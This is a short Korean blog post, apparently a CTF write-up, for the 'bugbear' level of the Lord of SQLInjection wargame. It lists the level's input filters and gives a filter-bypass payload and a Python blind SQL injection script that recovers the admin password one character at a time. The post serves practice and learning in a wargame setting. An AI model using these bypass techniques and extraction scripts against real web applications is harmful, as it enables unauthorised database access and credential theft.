본문 바로가기

Wargame, CTF/LOS_eagle

LOS _bugbear

bugbear 소스코드

 

클리어 조건

입력한 pw가 실제 admin의 패스워드와 같아야한다

 

필터링목록

no에서는

'(싱클쿼터) / substr / ascii / = / or / and /공백/like/16진수

pw에서는

'(싱클쿼터)

 

 

파라미터에 "no=1%0a||%0a1"을 보냈을때

 

 

admin의 pw는 8자리

 

import requests

url="https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no="

cookie={"PHPSESSID":"26ac9aih6v82o4nif3m0iv2h95"}
session=requests.Session()
password=""

for i in range(1,9):
    for j in range(33,127):
        req1=session.get(url+'2||no>1%26%26left(pw,'+str(i)+')%0ain%0a("'+password+chr(j)+'")',cookies=cookie)
        if("Hello admin" in req1.text):
            password += chr(j)
            print(password)
            break
        print(chr(j)+"is not")
print(password)

 

 

영어는 소문자로 바꿔주면

 

클리어

'Wargame, CTF > LOS_eagle' 카테고리의 다른 글

LOS _assassin  (0) 2019.11.08
LOS _giant  (0) 2019.11.07
LOS _darkknight  (0) 2019.10.05
LOS_golem  (0) 2019.10.05
LOS _skeleton  (0) 2019.10.05